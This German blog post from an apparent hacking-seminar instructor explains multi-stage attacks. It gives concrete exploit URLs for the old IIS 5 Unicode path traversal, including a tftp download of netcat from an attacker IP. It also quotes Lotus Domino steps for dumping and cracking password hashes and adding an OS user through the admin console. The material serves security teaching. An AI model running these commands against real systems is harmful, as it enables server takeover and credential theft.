Mehrstufige Angriffe sind nach meiner Definition Angriffe, die mit einer scheinbar kleinen Lücke beginnen, die dann aber über mehrere Einzelschritte zu einer völligen Kompromittierung eines Systems führen. In meinen Hacking-Seminaren verwende ich gerne ein Beispiel, das zwar steinalt ist, die Systematik eines Angriffs aber sehr schön vorführt: den IIS 5 Unicode Path Traversal Angriff.
Auf den ersten Blick sieht der Unicode Path Traversal harmlos aus. Man kann damit auf Dateien außerhalb des eigentlich freigegebenen Verzeichnisses zugreifen. Das sieht aus wie eine relativ harmlose Verletzung der Vertraulichkeit auf einem öffentlichen Webserver. Die Folgeschritte sehen dann so aus:
- Unicode Path Traversal erlaubt es auf Dateien außerhalb des Inetpub zuzugreifen.
- Das Scripts-Verzeichnis (und Unterverzeichnisse) enthält Dateien, die ausgeführt werden dürfen.
- Mit Hilfe des Scripts-Verzeichnisses und dem Path Traversal kann man die cmd.exe starten, wenn sich Inetpub und WINNT auf dem gleichen Laufwerk befinden. Die URL die ich verwende ist „http://[Server-IP]/scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir“.
- Bequemerweise kopiert man sich die cmd.exe direkt in das Scripts-Verzeichnis.
- Über die cmd.exe kann man TFTP starten und beispielsweise Netcat herunterladen. Die URL die ich verwende ist „http://[Server-IP]/scripts/cmd.exe?/c+tftp+-i+[Angreifer-IP]+GET+nc.exe“.
- Netcat kann man wiederum über die cmd.exe als Server starten. Schon hat man einen interaktiven Zugang. Allerdings mit beschränkten Rechten.
- Mit dem IIS-Exploit der httpodbc.dll kann man LocalSystem-Rechte bekommen. Die httpodbc.dll lädt man beispielsweise via TFTP in das Scripts-Verzeichnis.
Im Ergebnis hat man dann den Rechner komplett übernommen. Natürlich gibt es den Unicodeloader, der diverse Schritte automatisch durchführt aber ich halte es für eine nette Übung, das schrittweise durchzuführen.
Für Lotus Notes gibt es jetzt eine ähnliche Anleitung: „Getting OS Access Using Lotus Domino Application Server“ (PDF) von DSecRG:
- Run raptor_dominohash script and collect all password hashes
./raptor_dominohash 192.168.0.202 - Save hashes in file using format described in the Stage 3.
- Run JohnTheRipper with hashes file generated at the previous step
./john HASH.txt –format=lotus5 - If you find administrator’s hash you can address to:
http://servername/webadmin.nsf - In Quick Console run command that adds a new user to OS
load cmd /c net user dsecrG password /all - For testing if this command successfully executed we run net user command and save the results to the file.
load cmd /c net user > C:\Lotus\Domino\data\domino\html\download\filesets\netuser1.png - To view the results we open the following link:
http://servername/download/filesets/netuser1.png
Ok, für diesen Angriff braucht man ein erfolgreich gecracktes Admin-Login aber man kann das Verfahren leicht anpassen wenn man einen geeigneten Exploit für Lotus Domino hat. Mal sehen, vielleicht nehme ich das weiteres Beispiel für mehrstufige Angriffe in meinen Hacking-Workshop mit auf.